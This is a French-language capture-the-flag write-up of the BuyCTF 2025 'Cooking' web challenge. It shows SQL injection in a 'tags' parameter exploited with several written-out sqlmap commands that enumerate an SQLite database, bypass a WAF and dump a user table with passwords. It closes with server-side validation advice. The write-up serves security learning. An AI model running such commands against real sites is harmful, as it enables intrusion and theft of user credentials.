BUY CTF 2025 - Cooking

L'équipe nohackzone 23 Mai 2025

Dans cet article, nous explorons un challenge Web issu du BuyCTF 2025.

Introduction

Dans une démarche d'amélioration continue de nos compétences en cybersécurité, nous avons participé au BuyCTF 2025, en nous concentrant exclusivement sur des challenges orientés Web. Le premier défi que nous avons résolu s’intitulait Redthis. Nous vous invitons à visiter notre blog pour en découvrir davantage. Dans cet article, nous revenons également sur CookingFlask, un autre challenge marquant de cette nouvelle édition.

Analyse de la faille

Voici l’énoncé du challenge :

Interface d'upload Laravel

En accédant au lien fourni, nous découvrons une interface web vulnérable :

Interface du site vulnérable

Après une analyse manuelle, nous avons découvert plusieurs paramètres. Nous avons tenté d'injecter des syntaxes incorrectes afin de déclencher une erreur .

Le paramètre tags a généré une erreur SQL visible dans le titre de la page :

Erreur SQLite détectée

Nous avons alors utilisé sqlmap pour en savoir plus :

$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert&description=BHH&tags=Lunch" -p tags --dbs

sqlmap a détecté une base de données SQLite :

Base de données SQLite détectée

Nous avons ensuite extrait les tables :

$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert0&description=mange&tags=Lunch" -p tags -D SQLite --common-tables
Tables détectées : user et recipe

Pour récupérer les colonnes, malgré le WAF en place, cette commande a été efficace :

$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert&description=BHH&tags=Lunch" \
-p tags \
--dbms=sqlite \
--sql-query="SELECT name FROM pragma_table_info('user')" \
--batch

Colonnes des tables :

Enfin, pour extraire les données et obtenir le flag :

$ sqlmap -u "https://cooking.chal.cyberjousting.com/search?recipe_name=Dessert&description=BHH&tags=Lunch" \
-p tags \
--dbms=sqlite \
--sql-query="SELECT user_id, username, user_email, first_name, last_name, password FROM user" \
--batch
Panel Admin
Accès au flag

Conclusion

Ce challenge nous a permis de renforcer nos compétences en injection SQL, détection d’erreurs, énumération de bases de données et extraction d’informations sensibles. Il démontre l’importance de la sécurisation des paramètres utilisateurs, du filtrage côté serveur, et de la configuration adéquate des interfaces web.

Recommandation : Ne jamais exposer de données sensibles dans des dépôts publics ou des archives téléchargeables. Toujours valider et filtrer les requêtes côté serveur.